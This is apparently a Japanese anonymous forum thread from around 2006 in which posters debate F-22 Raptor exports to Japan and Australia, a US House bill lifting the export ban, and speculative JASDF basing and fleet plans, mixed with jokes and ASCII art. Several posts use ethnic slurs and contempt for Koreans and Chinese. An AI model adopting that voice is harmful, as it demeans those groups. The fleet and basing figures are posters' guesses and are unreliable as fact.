本土防衛は当たり前なんだけど空母＋艦載機はまず欲しいんだよ。
加えてNATO加盟国であり各国が分担して守ってるし、EUの最西側に
位置してるし。大西洋をはさんですぐにワシントンDCが存在してるし
米軍と協調行動する事を考えても空母＋艦載機が欲しい。
核を保有してSCBMでにらみを利かす。そしてMI5やMI6にも予算は必要。

で結論として正面装備として核を除くと、優先的には
正規空母やユーロファイターがあって、艦載機もハリアーの次世代型が
欲しくなるよね。でF-35Bに熱心なんだよ。
F-22なんて高価な機体をFMSなんかするのは割りに合わないってのが本当のとこ。

むしろF-22が欲しいのは日本＋豪州だよね。
空母もないし自国領土が固まって位置してるし核も無いし。

豪州が一番欲しいのはB-1なんじゃないかって気がするｗ

日本と違ってF-22は妥協の産物なんじゃなかろうか

虻ちゃん可愛いやん

>>433
豪州はJSFのメンバーだったと思うけど開発に絡むだけの重工業があるかと
言えば無いし、結局FMSになるんならF-22の方が明らかにいい選択でしょ。
F-35Aだってどれくらいの性能でどのくらいの金額になるのかも分からんし。
少し高くてもF-22の導入に動くでしょ。F-35Aと比較するなら。

>>431
北陽の伊藤さおり（EF-2000）という選択肢はないですか？

まあF-111に相当惚れ込んでる連中だからなぁ

豪州は最近中国とべったりだけどな。
つい最近もハワードは中国行ってたし、FTA結ぶ日も近いでしょう。

日本は本当はオーストラリアに購入して貰った方がいいんだよね

希少価値へるけど

日本が言えない事をオーストラリアなら言ってくれそう

>>431
オセロは白のがかわいいだろ

>>439
量産効果で値段が少しでも減りそう。
それに日本から遠く離れてるし戦う可能性が無い。
他国に情報を流すとも思わないし。
豪州は共同購入にちょうどいい国だと思うよ。

黒いF-15という事でストライクをオセロ黒に見立てたんだろう。

ニダさんが共同で買いたがってます＾＾＾＾＾；

>>438
ﾊｲﾊｲ

>>443
韓国最強はF-15Kでいいでしょ。
日本を脅かす兵器は導入させません。

　>>422
延期されちゃったよ、シャトル打ち上げ

>>443
急いでF-15Kを破棄して、FX�UをF-22に変更するんだ。

>>436
伊藤は何もない。普通。すべてが普通。

>>440
オセロは黒。


虻ちゃんの体はマジ最高だな。

>>440
お前目がおかしいぞ？
しかも白は超弩級バカ

F-22は伊東美咲

伊藤さおりが一番カワイイ

F-22は吹石一恵

>>452
歯茎イラネ

お前らの好きな女性タレントを言うスレじゃねぇ！

F-22は黒谷友香

話についていけねえｗ

F-2は例えるなら蒼井そら

F-35は倉本安奈

頼む、戦闘機に例えてくれ。

……あれ？

F-22は例えるならMe262

F-22は相沢紗世

>>457
頼むからもう少しまともなヤツ挙げろってw

じゃあF-22は宇宙人

地球の男に飽きた人にお勧め

F-22は森泉

F-15Eは叶姉妹の姉の方

中年にも解るようにリンク貼ってね

人名でたとえるな、せめて機械とか無機物で頼む

F-15Eは二酸化マンガン

F-22：GSX-R1000

>>462
ただの人間には興味ありません
この中で宇宙人、未来人、異世界人、超能力者が居たら私の所に来なさい

以上

>>467
地球語でOK

>>467
ハルヒ　鬱ってろ

ちなみにオーストラリアがラプターって言い始めたのは
英国がJSFのソースコード開示が認められたんだから
同レベルまで認めろよっていう意味合いが多く

実際にラプター導入する気持ちはあんまりない

オージーは一にも二にも海上打撃力だしな
副次的に制空もできる対艦攻撃機があれば、それでいい

点F2でどうだい？

>>470
ソースは？

>>464 中年でもぐぐれ

>>473
常識で考えろ
オーストラリアが対艦ミサイルもつめない対空番長なんかあっても無意味なんだよ

厨房は分らないなら黙ってろ

やっぱ日豪共同開発、エンジンにRRのF135を積んだ
FAJ-1を作るべきだな！

F-22Jは、F100-PW-232に推力変更ノズルを付けたものにする。
推力1割減（5%減かも知れないし、20%減かも知れないｗ）
その代わりエンジンのみラ国OK。

これで本来よりスーパークルーズ性能落ちて、Mach1.4までとなる

日本もこのままじゃ堪らんし、F-15JpreMSIP代替機も要るから
オーストラリアと共同で開発する。ATD-Xの経験を生かしつつ
日本以上に航続性と搭載量にこだわるオーストラリアに合わせると
残念ながらXF10では推力不足と分かる。

それでより強力なエンジンを求めると、あったあったF136が。
日豪でイギリスに資金を提供して開発を終了させ、機内搭載量
6tの大型マルチロールファイター完成。

それを生暖かく見ていたアメリカ「これをF-35のエンジンの代替として
採用します」

意味わかんね
それより台湾海峡と日本海での軍事的緊張が一挙に高まってF-3開発が早まることを期待したい

汚染を除去しました。

汚染を除去しました。

汚染を除去しました。

汚染を除去しました。

　

>>473
オージーはF-111の代わりを望んでるからな。
そう考えるのが妥当かと。
>>467
って事は、もう既に俺ら(ハルヒ)は超高性能次世代機に会ってる事になるのか…
アレ？

って事は、もう既に俺ら(ハルヒ)は超高性能次世代機に会ってる事になるのか…
アレ？

ふと思ったんだが、今回22を導入した場合、15Jが退役するまで、
空自の制空戦闘機はハイ-ハイのアンミックスになるわけだ。
その過程で本格的な戦争の危険が高まった場合、経戦能力を維持できるのか？
アメリカが当てにならなくなるとか、政治戦略的に可能性は極小だろうが、
防衛計画上、日本単独で戦争しなけりゃならない事態を
「極小だから考慮しない」ってのはありえないだろう。

…いや、この国ではありえるのかもしれんけど

アメリカ様抜きの国防体制なら一時期は自衛隊は目指していたけど、
大勲位がぶっ潰しておしまい。

いや、日本の防衛体制が安保を大前提としていることはわかる。
が、正面装備以外はボロボロだとか、国産兵器の実戦実証がないとか問題はあるにしても、
とりあえず単独である程度作戦を遂行できるだろう能力を確保してきたはずだ。
肝心の正面装備について、
「アメリカがいるから安上がりで済ませよう」ならまだしも、
「アメリカがいるから損耗を気にせず贅沢しよう」って選択肢はないんじゃないかなあ

これからの自衛隊に「贅沢」なんて許されません、予算無いんですから
ラプターはそれに見合う抑止力なだけ

つまり、第七艦隊や空中補給で米空軍が押っ取り刀で来てくれる、
僅かなタイムラグを稼げると思わせる制空機があればいいってことか。
それなら何十機かのラプターがあれば十分ではあるね

>>488
大勲位は好きじゃあないけど、自主国防に関しては土台無理な話だから潰して正解だと思ってるよ。
アメリカからの支援があったからこそまかりなりにも冷戦時代に正面装備だけとはいえ最新鋭の装備を
少ない予算で取り揃えて、ソ連の軍事的圧力に対抗できたわけだし。
日本はシーレーンの防衛戦力なんてありゃしないのに、どうやってやるよｗ

そこで空母機動艦隊に原潜部隊となるんだろうな・・・

イーグルやラプター（予定）を何百機も揃え、イージス艦を二桁に乗せる勢いで増強してる軍隊に正面きって進攻してくる国なんてアメリカ以外に存在しないだろ。

>>493
つ特定アジア

米軍に占領されアメリカ様のおかげです、と土下座してる珍米ポチが自主国防を語るなよ

英霊が守った日本を守る気概のないポチは黙ってろ

日本の独立が穢れる

>>495
國士様乙

ラプター配置の暁には･･･････

第118戦術航空隊を作ってくれ
コールサインと部隊章は･･･････あれで

メビウス中隊か

青き正常なるアジアのために!!

<<オメガ1　交戦>>

（めんどくさいの省略）

<<オメガ11　交戦>>

>>334
今、米国にいるが、中間選挙で民主党が議席を増やすことはあっても、共和党惨敗なんてことはないから心配するな。
大手マスコミは藪の支持率低下が止まらないなどと言う記事であおっているが、所詮、沿岸部リベラルの願望を書いているのにすぎない。
日本の左翼マスコミと一緒。
沿岸部リベラルマスコミで支持率が３０％台もあるってことは、実質５０％は余裕で超えてる。

余談だが、小泉の浮かれっぷりにアメリカ中が引いてるなんて言うのも左翼の妄想。
少なくともオレの周りの米国人は代絶賛だ。

小泉はアメリカのゲイに大人気だってなｗ

>>502
ゲイから見て魅力的な男ってのは、異性やノンケ男から見ても魅力的ってことさ。

>>501
ヤンキーはカタコト英語でも物怖じせずにご機嫌で突撃してくる能天気バカが大好きだからな。
ライミーと違ってｗ

>>501
民主党が勝っても多分大丈夫＞ラプター導入
マリエッタ工場の全米機械工労組は民主支持基盤。
ttp://www.jil.go.jp/kaigaitopic/2002_06/americaP03.html
ttp://news.livedoor.com/webapp/journal/cid__1030821/detail

雇用維持には輸出は不可欠。

>>505
と言うことは、民主善戦で、らぷﾀﾝFMS　or 共和勝利で、らぷﾀﾝラ国。

の戦いになるのかな？

民主党は別に反日親中政党ではなく字の如く内政に重きを置く政党だからな。
支持基盤が製造業だから国内が潤うなら逆にどうぞどうぞと売りつけてくるよ。F-15のときもミンスだったし。

>>506　どっちにしろFMSだ。

>>505
マリエッタはF-22の部品生産だけでF-22の組み立ててるのはフォートワースだろ
マリエッタの主力はF-35のライン

公式発表予定は2008年だっけか

つか民主党の一部はねっかえりなリベラリストはともかく、
昔の対日貿易赤字どころじゃない超貿易赤字の中国相手には
共和党より強硬姿勢だとおもうぞ、民主党。

クリントンの時とは何もかもが違う

>>509
F-22はマリエッタが最終組み立てラインで、フォートワースやシアトルが部品生産。
今後はフォートワースがF-35組み立てラインになる。

それゃあれだけアメリカ寄りの政策とってれば人気も出るだろ。本来なら嘆かなきゃいかんのだろうが、おかげでラプターやイージスシステム売ってもらえるんだからじっと我慢だな。

【軍事産業】米下院、F-22 ラプターの海外輸出解禁法案可決
http://news18.2ch.net/test/read.cgi/bizplus/1151809604/
1 名前：やるっきゃ騎士φ ★ 投稿日：2006/07/02(日) 12:06:44 ID:???
米下院は、もし日本などの同盟国が自国の航空戦力を増強する予定があるならば、
ロッキード・マーティン社の最新鋭戦闘機“F-22 ラプター”輸出を解禁するという
法案を可決した。
6月20日に下院における11分の討論後の決議表明で、国防費法案における
‘9年間ラプターは海外輸出禁止’という条項を撤廃する修正案が付加された。
輸出禁止令は、ラプターのハイテクシステムが外国に流出するのを防ぐためのものだった。
しかし議会メンバーや何人かの空軍のトップスタッフの間に、ベセスダに本社が
あるロッキード社が近年中にラプターの製造ラインを止めてしまうかも、という
懸念が出てきた。
700億ドルにのぼるラプター事業は、ジョージア州とテキサス州における4500人以上の
労働者雇用と、年間数億ドルもの収益をロッキード社にもたらしている。
20年近く前にはソビエト連邦に対抗するため、ペンタゴンは750機のラプター購入
計画をたてていたが、現在では183機へと下方修正した。
ロッキードF-16は海外輸出によって存続しているが、ラプター製造も海外輸出によって
存続可能となることが期待される。
この決議に対し、ロッキード社や空軍はノーコメントである。
以下かなり大幅に省略。英語の長文です。
ソース原文全文は
http://www.washingtonpost.com/wp-dyn/content/article/2006/06/30/AR2006063001695.html
F-22とは
http://ja.wikipedia.org/wiki/F-22
2006年2月にアメリカ空軍下院調査会で、日本へのF-22の販売を公認。

依頼を受けてたてました。

お前ら何時まで何やってる。

最新の世論調査でポスト小泉は誰がいいか？

安部　４８％
福田　２６％
麻生　４％

あとは（ｒｙ


安部さんがまたし支持率を伸ばしたな
全国の自民党議員の調査では安部さんは５０％ほどだったしな

FMSにするにしてだ、2011年にはF-22のラインはF-35のラインに変えられちまうわけだが・・・

>>514
自分が死ぬまで

>>516
それだと、ラプターの生産のために集めた人員の雇用の確保が問題となってくると
言うのが今回の販売理由らしいが。どっちにしても全量FMSらしい。
それから原文の最初にJapanとあったので日本への輸出が狙いであるのは間違いない。

後半にあった文書で機械翻訳だが
Lockheed and the Air Force see a potential market among the United States' closest allies,
including Japan, Australia and Britain, according to industry insiders and analysts.
For example, Japan is expected to begin replacing soon its fleet of about 100 F-4s.
Excluding development costs that the Pentagon paid early in the program, the price of
the plane drops to between $150 million and $183 million, or even less for a stripped-down model, they said.
業界関係者とアナリストによると日本、オーストラリア、および英国を含む米国の最も近い同盟国の間で
ロッキードと空軍は潜在的な市場を見る。 例えば、日本は、すぐ約100F4sのその群団を取り替えはじめると
見られている。 国防総省がプログラムの中で早く支払った開発費を除いて、飛行機の価格は1億5000万ドルと
1億8300万ドルの間にまたはいっそうより少なく余分を省いたモデルのために下がると彼らは言った。

多分最低１００機販売する積もりだろう。

>>516
Pre分をラ国に

F-4が100機とはまたどこから沸いて出てくるんだ？

>>516
日豪に売ればラインも延命できるに決まってるだろ。そのあとに米も追加配備でまた延命される。

preのときまでラインが生きてたらどうなるんだろか。初年度の導入が7機だろ？このペースだとギリギリ生きてそうなんだが。
低率生産でライン維持するとは考えられんが。ライン維持費を日本持ちにさせFMSとかないよな？

>>520
日豪合わせて100機ということじゃね？

>>520
最低でも売りたい機数。

>>522
英語は全く駄目？

しかしFMSだと稼働率はどうなんのかね？
買ってきてほとんど動かないなんて事になりそうで怖い・・

オーストラリアはF-2スーパー改でいいんじゃないかな

>>521
そりゃないだろ。
この法案を提出したフォートワースを選挙区にもつケイ・グレンジャー下院議員自身が
設備や技術がもはや必要ないから提案したと言ってるんだから。

>>525
だから、ロッキードが日本に整備工場を造るって話じゃないの。
それに付随して、仕事は幾らでも出るって話では。
俺はそう思っていた、だから最初から出来レースだと。

>>526
むしろA-10で良いんじゃないの

>>320
アフリカでスホーイに敗北が原因

>>520
J改が90機だから減損を考えて切りの良い100機に
したんじゃないの？

>>527
それは大義名分が欲しいからで地元の議員で有る必要
はないでしょ。
地元が言うからにはやはり雇用だよ。

>>532
その地元の連中が輸出してラインを維持して雇用を守れといってるソースは？

下院で許可出たみたいね。

>>532
フォートワースやマリエッタの中の人には後釜のF-35の生産があるから問題ないんじゃね？

>>524　スマン。>>518よく見てなかったOTZ

どうなるかもわからんF-22のためにライン維持して
大口顧客のF-35を待たせるわけないだろ

>>518
＞the plane drops to between $150 million and $183 million, or even less for a stripped-down model, they said
この文章読む限り相当ダウングレードされそうだなぁ。
ステルス、レーダーアビオニクスが全部ダウンされるようなら、
買わないってのも手だぞ。

>>538
ホロン部乙

>>538
F-15Kほど酷くはないだろ

そこは日本とアメリカはある程度の信頼は置いてると思うんだけどな。
酷すぎて困るなんて場合には関係が破綻してくわけで。

やっぱメンテ面と搭載兵器の契約に注目だね。
機数は日本だけで100機弱でしょ。
これで1台当たりの生産コストも下がるしUSAFも追加発注しやすくなる。
F-3の際のエンジンのみ輸出とかの約束とかもついでにできればいいね。

また時々導入数が多ければ多い程良いとか言う奴が出てくるけど
今後のUpdateのスピードの為にも国力にあった機数の導入がベスト。
しかもFMSだし。････FMS？ アップデートしてくつもりだろうか？
アップデートの際の契約もしっかりしとかんといかんよな。

日本が100機弱購入ということでUSAFも追加発注、そしてその結果
ラプターが次世代主力機という位置づけが確実に成立したとみて
いいんだよね？イランのF-14みたいにはなりたくない。

>>541
アメリカ議会がもっとF-22を減らしてF-35に汁と言ってるぐらいだから米軍の追加発注は絶望的だろ。
だからこそ海外に販路拡大を狙ってるんだろうし。

>>540
6月7日に日本海に落ちて2人死んじゃってるしな。ｷﾑﾁｲｰｸﾞﾙもうﾀﾞﾒﾎﾟ。
>>506
もしラ国にしたとして売りのステルスを技術転用されるのを怖がってるからな。USAは。

>>543
日本が100機弱を購入したら単価が下がる。180⇒280って事だし。
単価が下がれば追加発注しやすくなるよ。
USAFの欲しいものが却下されてたのは、やはり費用面の問題だし。

>>544
F-15Kのﾎﾞｲｽﾚｺｰﾀﾞって有効期限は1ヶ月くらいだよね。
もうそろそろﾘﾐｯﾄがくるのだが引き上げはまだ無理なんだろｗ
F-15Kが駄目というよりかは原因究明の前段階すらできない
朝鮮人が駄目なんじゃないかと思うのだがｗｗｗ

>>545
アメリカはお前の願望をかなえる装置なのか？

>>545
＞180⇒280
なにが280だかさっぱりわからんが、計算式の提示ﾖﾛ

実は海に堕ちたんじゃなく
分解して中国に渡っていた！

堕ちたんはF15ではなくF5
パイロットは元KCIA職員

>>541 エンジンのみの輸出なんて、それこそアメリカは許さんと思うな。
エンジンさえどうにかなっちまえば、F-3はラプタンより上位機種になってまう
可能性がある。　と言ってみる。

今年は中間選挙だから有権者様がお喜びになる
事には議会は積極的だわな。
輸出許可→雇用維持→当選確実
F-22のラインの人がストをやっていたとは知らなかった。

>>550　日本も許さんｗ純国産夢見て今回こそはとエンジンも開発し、血と汗のにじむ極貧で頑張っているのに。

F-22C/Dの噂とかは出てないの？

いつもA/Bはテストランだし。
当分アップグレード無しなら、F-15代替も進めて欲しい。

今回の記事で、F-22の導入が何%から何%位に上がったの？

32.46％から54.336％に上がりました。

6０パーセント→80ﾊﾟｰｾﾝﾄくらい。

http://www.oekakibbs.com/normalbbs/discussion/normalbbs.cgi?mode=allarticle&tree=8200

若い子達の議論版。
どう進展していくか生暖かく見守りたい。

荒らし依頼にしか見えない

１０日前まで
60　　ﾗﾌﾟﾀﾝ　　　
20　　F-15E　　　
15　　ｽﾊﾟﾎ
5　　　その他
現在は、
80　　ﾗﾌﾟﾀﾝ
10　　F-15E
7　　　ｽﾊﾟﾎ
3　　　その他　　　　　

今回こんなにも可能性が上がった（60→80）のは、何も下院で認められた事には起因しない。
今回の議決からは、アメリカが売りたがってるというメッセージが見て取れるからだ。
日本には財務省という普通に考えればそうとう高いハードルがあり、消費税UPもかなり弊害である
消費税を上げるのに、こんな高い戦闘機買うとは何事か！とマスコミから批難されることを
自民党が恐れる可能性は十分にあった。

もし仮に日本側の意思だけで決定できる場合、
ﾗﾌﾟﾀﾝ　　40
F-15E　　20
ｽﾊﾟﾎ　　　20
台風　　　15
その他　　5

こんなものであるだろう。ﾗﾌﾟﾀﾝは強いのはわかるが、値段が高い。
政治家なんてものは、今さえ良ければいい連中で、２０年後、陳腐化などに気を使うやからはいない。
しかし、今回、はっきりアメリカ側の意志が読み取れる。つまり日本はラプター買えという事だ。
これに逆らうことは自民にはできない。よって、何か事件がない限り、このままラプターで突き進むことは決定だ。

てか、F１５が一番最初に配備された飛行隊ってどれ？
今回のF４の後継は何個飛行隊で機数はどれくらいが想定されてるの？

個人的にF２２だとして、２個飛行隊分だとしたら百里と小松に配備されるような気がする。
特に小松基地の近くにG空域もあるし。
確かG空域って航空自衛隊の訓練空域の中でも広いほうだよね？

予想

最初の７機はもちろん飛行実験団
一番最初にF２２に機種転換する飛行隊が百里の２０４飛行隊
その次が小松の３０３飛行隊

>>560
新田原にラプターは来ないのですか？

飛行実験団　×
飛行開発実験団　○

>>559
何故意図的にF-2が外されてるのか

>>562
おそらく、しばらくはラプタ―をアラート任務に就かせないと思う。
だから千歳と新田原は最後のほうだと思う。
ましてやロシア、韓国の領空に近いしね。
ってかラプタ―が２個飛行隊配備されたら新田原の３０１飛行隊には、
小松の３０３飛行隊か２０４飛行隊のFー１５が移転してくると思う。

最終的な配備数
空自
　F-22　　100機(4個飛行隊:千歳1、小松1、百里1、新田原1)
　F-3　　　200機(6個飛行隊:千歳1、小松1、百里1、築城1、新田原1、嘉手納1)
　F-2　　　100機(4個飛行隊:三沢2、築城1、嘉手納1)
　E-767改　4機(浜松)　　
　E-787　　4機(浜松)
　KC-767　　8機(小牧)
　C-X　　　40機
　KC-130　6機
　CV-22　　8機(CH-47の一部の代替)
海自
　F-35B　　100機(6個艦上飛行隊)
　P-X　　　80機
　E-2C　　　12機(空自から譲渡)
　CP-3C　　16機(YS-11の輸送機としての代替)
　KP-3C　　8機(F-35とヘリ用給油機)
　V-22　　24機
　　MCV-22　　12機(艦上輸送掃海機)
　　WV-22　　6機(艦上警戒機)
　　SV-22　　6機(艦上哨戒機)
海保
　L-188　　16機(捜索機:海自のP-3Cから対潜装備を外したもの)

ラプタ―は前線に配備するより、特性上は百里と小松に配備するのがいいかと思う。
ただしラプタ―の配備総数が２〜４個飛行隊分ならね。
それ以上なら百里と小松以外にも配備すると思う。
その有力候補はアグレッサー部隊に配備ってとこかな。

>>566
だからF-35Bは水子だと(ry

>>568
海兵隊　　固定翼によるCAPとCASは海軍に依頼→F-35B不要
英海軍　　F-35Cでも運用可能→F-35B不要

って事か、、そもそも海兵隊自身は艦船を保有してないからな、、

>>566
なに？無敵のハリネズミ防空網・・・・ｗ

Ｆ-22はオメガ飛行隊に所属させてやれ。

>>566
KC767少なすぎ。
そんなけ夢を書き込んでるなら、タンカー増やせ。


KC767（７６７はもうすぐライン止まるから、日本は787を押したいが）
は地味だけど、これが２０機ほどあれば、戦力は大幅に上昇する。
その数ではおかしい。

本当は、３０機も欲しいとこだが、
KC767は実はC-Xとかぶるため、あんまり多くを導入するのも問題。
だからKC-Xとかあれば良い。

>>566
ラプタ―の最終的な配備機数は４個飛行隊分の１００機だとして、１個飛行隊で２５機

最終的な配備基地は千歳1、小松1、百里1、新田原1が理想なのは確か

しかし、ラプタ―は当面、絶対的な性能を維持する限り千歳と新田原には配備しないと思うよ
最初は小松に２個飛行隊と百里に２個飛行隊で運用するんじゃないかと
小松と百里ならちょうど日本の真中くらいの空域で他国の領空にも千歳や新田原より近くないしね
年数が経ってあとから小松と百里の１個飛行隊分のラプタ―がそれぞれ千歳と新田原に移転すると思うんだけどな・・・

ラプタ―の配備順

飛行開発実験団→百里の２０４飛行隊→小松の３０３飛行隊→百里の３０５飛行隊→小松の３０６飛行隊

やっぱ飛行開発実験団だよな！！
ラプターみたいよ。

支援戦闘機の迷彩なラプタンも微妙に見たい

実験団でラプタンもあんな色やこんな色に塗られちゃうのかな・・・・ﾊｧﾊｧ　ｗ

>>548
生産機数の話

>>554
パーセンテージで言えば90%⇒98%だと思う。
上院で通るのは確実だしねぇ。
ま、FMSの話で潰されるなんてのは最初からありえない筈なので
順調に進んでるというだけの話。
ついでに日本側も今回はFMSが前提なので、そこは間違わないように。
問題はアップデートを含むメンテの都合と搭載兵器の話くらい。
ちなみにAAM-4のフィンを折りたたみにしてーという話も少しあったね

まあダウングレードというかその辺の制約の一環として
鏡もちみたいに武器しばりは確実だろうな

AMRAAMとAIM-9の輸入くらいはしょうがないだろう

Japan, probably, get down-grade version of F-22s. (this is what Koreans
hope to happen since Japan will eventually get F-22s for sake of the US)
Large percent of Koreans are not shocked by the fact that the US is
trying to sell F-22s to Japan.
After all how many coutries can afford orwilling(cough..ordered. cough) to buy F-22s.
Reactions from Koreans are various.
Large percentage is saying Korea needs to buy F-22s by abandoning few ROK's
future projects. Some say fully equiped F-35s can match downgrade F-22s.
Japanese reaction is.... well

DE-DONG君。朝鮮人の反応。
ラージパーセントオブコリアンｗｗｗｗｗMOST使え。

というかですね、日本海、東シナ海に向いてる飛行隊にはアラート任務があるのですよ。
具体的には
　日本海北部・オホーツク海　　千歳
　日本海北部・津軽海峡　　　　三沢
　日本海中部　　　　　　　　　小松
　日本海南部・東シナ海北部　　築城
　東シナ海　　　　　　　　　　那覇

アラート任務がほとんど必要無いのは、百里、新田原です。
F-22はアラートには出したくありませんので、
アラートはF-15にやってもらう場合、F-15飛行隊が複数配備されてる飛行隊の
どちらかをF-22飛行隊にするのがいいわけです。
それに該当するのは千歳と小松しかないわけです。
なので、F-22の飛行隊を3個作るのであれば、
　北方(対ロシア)　千歳
　中部(首都防衛)　百里
　東シナ海(対中国)　新田原
がよく、4個作るのであれば、これに
　日本海(対朝鮮)　小松
とするべきでしょう。

そうかぁ、ついに自衛隊にラプたん配備されるのかぁ・・・・
ラプたんが・・・
ラプたん・・・
日の丸ラプたん・・・・
ひ、日のまッ、日の丸ラプたんッ！！

　　　　　　　はぁはぁはぁはぁはぁはぁ・・・で、出るッ！！

ﾃﾞﾀ――――――――――――――――――――――――――！！！（゜∀゜）！！！１１

これだけは言える
３個飛行隊を作るのであれば、
百里と小松に千歳になるはず

ラプタ―を九州に配備すると思うのが間違い
それにアメリカが黙っていないと思う
しかもラプタ―は長距離からスーパークルーズで一撃離脱をするのが基本
新田原にラプタ―を配備すると中国を刺激してしまうといって最初は配備しないはず
だから最初はアラートがもっとも少ない小松と百里でまとめて運用してから数が揃ってきたら将来的に千歳と新田原というシナリオになるはず
しかも３０１飛行隊はF４だからF１５の機種転換が早かった２０４と３０３から順番にラプタ―が配備されると言ってんですよ

チョンは負け惜しみか？

しかしアメリカの議会は下院でとんでも議案が通って、上院で阻止ってケースは多いよ。
今回下院で通ったからといって、上院で通るとは限らない、それがアメリカの議会。

>>583
中国云々は沖縄だけだろ。

＞ラプタ―を九州に配備すると思うのが間違い

ここ１０年〜１５年の間に限っての話ね！

>>586
いやいや、新田原に配備されても中国は懸念を表明するのは間違いない
アメリカは中国を意識してグアムに配備しないでアラスカとグアムの変わりにハワイに配備したくらいだよ
新田原は中国はもちろん韓国政府がすごいことになるはず
だから新田原にラプタ―配備は当分ない
３個飛行隊なら百里と小松と千歳

百里ｷﾀ━━━━(ｒｙ

まあ反発はむしろ願ったり叶ったりな面もあるけどな

別にこっちとしては攻め込む意志も装備もないのに
なんで過剰反応するんだ？　ってのを世界に宣伝できるから

　　　 　 　 　 　 ,､　　　　　　　　　　　　 ,､
　　　　　　　　　ｌ　＼　　　　　　　　　 ／ ｌ
　　　　　　　　　|　　 ＼　　 ＿＿　／　　|
　　　　　　　　　|　　　　`´　　　　 `' 　　 |
　　　　　　　 ／　　''''''　　　　　　　'''''':::::::ヽ、
　　　　　　 /　　　　（●）,　　　､（●）､.　　 ',
　　　　　　 |　　　　　　 ,,ﾉ(､_, )ヽ､,,　.:::.　　　| 　　　お兄さん達、F-22は初めて？
　　　　　　 ',　　　　　　 ｀-=ﾆ=- '　.:::::::　　　|
　　　　　　　ヽ　　　　　　｀ﾆﾆ´　 .::::　　　　/
　　　　　　　　 ＼＿＿　　　　　　　　　　／
　　　　　,. ' ´￣　　　　　　　　　　 ＜￣
　　　 ／　　　r-ｒ‐､　　　　　　　　　　 ヽ
　　 /　　　　(ヽ ＼ `ｙ(＼ 　 ｀ ヽ､　,`ー―- ､
　　 |　　　　　f＼＼＼ヽ　ヽ:::::::..... ＼　　　　　 ヽ､
　　 |　　　　 　 ＼　'ー（　　}(ｰ;;)､:::.　 ヽ　　　　 ::::`....-､
　　 |　　　　　　　|＼　　'　ﾉ::::`´:::::::　　 ',　　　　　 ::::::ｒ'
　　 |　　　　　　　| / ´　　 |:::::::::::　　　　 |　　　　　` :::::!
　　 |　　　 ,. -―‐'　　　　 |　　　　　　　人　　　　　　 Y
　　 |　　／　　　　　　　　 i　　　　　　／　 ヽ、　　　　/
　　 |　/　　　　　　　　　　,'＿＿,.　'"　　　　　 `ト-'"
　　 ',　　　　　　　　　　　/　　　　　　　　　　　　|
　 　 ヽ　　　　　　　　　/　　　　　　　　　　　　 ,'
　　　　＼　　　　　　／　　　　　　　　　　　　 /
　　　　　 ＞――'´　　　　　　　　　 fﾄ､　　　{
　　　 ／　　　　　　　　　　　　　　　 `''　　　 i

アスラン・ザラ、ラプター出る！

上院にはいつ輸出許可法案提出されるんだろか？

中国が嫌がることをやるのがベスト

>>594
それだと沖縄の302の置き換えからになるが

中国人や朝鮮人に誉められた政治家はその時点で終わり

F-22が100機ﾊｧﾊｧ。
尾翼のｸﾞﾘｸﾞﾘ感がもう生き物みたいで（・∀・）ｲｲ!

F-22J
F-15J改
F-2E/F

ﾀﾏﾘﾏｾﾝﾅ
F-3にも期待がかかるなー。

F-22J=========>Zガンダム（JASDF）
F-15J改=======>ガンダムMk�U（JASDF）
F-2E/F========>ﾌﾙｱｰﾏｰ百式改（JASDF）
F-15J_PreMSIP=>初代ガンダム（JASDF）

F/A-18E/F=====>キュベレイ（USAF）

F-15K=========>ｹﾞﾙｸﾞｸﾞ（鬱火病）

Su-30Mkk======>ｼﾞｵﾝｸﾞ（中共）
極東はこんな感じだね。

まあガンダムはもう自衛隊に実戦配備されてるしね

>>576
そんなふうに想像で膨らませたいところだが、
今まで国産機しか、あんな色やこんな色にしてこなかったよ。
F4やF15はそのまんまでした。

F15のフェリー到着には、学校サボって行ったっけ。
オーバーヘッドでブレイクする時には涙が出たなぁ、、。
感激して涙チョチョギレたのは俺だけではなかったはず。

ラプタンはよう来い、岐阜のエンドで待ってるゼ

ラプタンは特殊塗料だろうしな

ここはやはり百里に2SQではないか？

当然のごとく百里からだろうな。

ついに神田＆栗原がラプタンに乗るのか！

>>596
彼らに知恵というものがあるとすれば純たん総理を褒めるかも？

>>604
F-22Bって本国とかに存在するのかしら

ロッキード・マーティン社の最新鋭戦闘機“F-22 ラプター”輸出を解禁するという
法案を可決した。

6月20日に下院における11分の討論後の決議表明で、国防費法案における
‘9年間ラプターは海外輸出禁止’という条項を撤廃する修正案が付加された。

輸出禁止令は、ラプターのハイテクシステムが外国に流出するのを防ぐためのものだった。
しかし議会メンバーや何人かの空軍のトップスタッフの間に、ベセスダに本社が
あるロッキード社が近年中にラプターの製造ラインを止めてしまうかも、という
懸念が出てきた。

700億ドルにのぼるラプター事業は、ジョージア州とテキサス州における4500人以上の
労働者雇用と、年間数億ドルもの収益をロッキード社にもたらしている。
20年近く前にはソビエト連邦に対抗するため、ペンタゴンは750機のラプター購入
計画をたてていたが、現在では183機へと下方修正した。
ロッキードF-16は海外輸出によって存続しているが、ラプター製造も海外輸出によって
存続可能となることが期待される。

この決議に対し、ロッキード社や空軍はノーコメントである。

以下かなり大幅に省略。英語の長文です。
ソース原文全文は
http://www.washingtonpost.com/wp-dyn/content/article/2006/06/30/AR2006063001695.html
F-22とは
http://ja.wikipedia.org/wiki/F-22
2006年2月にアメリカ空軍下院調査会で、日本へのF-22の販売を公認。

>>601ラプターは塗料ではなく特殊のシートを貼り付けるとか聞いた事あるが。

所詮ジェット機だからエンジンパワーと航続距離と積載量が
決め手だと思うよ。
ステルスなんてのは多分付加価値。

前に空軍系の業界紙でラプター売りたいみたいな話があったけど、
あの記事にもアビオニクスの技術がわたる事に懸念があるとか書いてあったから、
アビオニクスのダウングレードは避けられないんじゃないか？

別にダウングレードされても魔改造していいならどうぞどうぞって感じなんだけどな。
しかしそれすら禁止されそうで怖いわ。

ロックがラプタン乗ったらどうなってたろぅな・・・（遠い目

つうか、雨さん自衛隊を米軍と一体運用する気満々なんだもの。
逆にあまり弄らない気がする、再設計とかなると面倒だし。
その為に売る先はごくごく限定するのでは。

システムは統合だからアビオ一つ、機能一つオミットするのにも一苦労
部分だけダウングレードはほぼ不可能に近い　
輸出用に新たに金を自費でかけさせるとも思えないし
国が補助したりもしないだろう　バージョン落ちはあってもダウングレードはほぼ無い

ダウングレード分の予算コッチ持ちなんて事でもない限り

ロックはステルスを卑怯だと 視認距離までミサイルウチません

ってか今気づいたが新田原の第5航空団って１個飛行隊しかないんだね
その第３０１飛行隊ってF-4EJ改じゃん
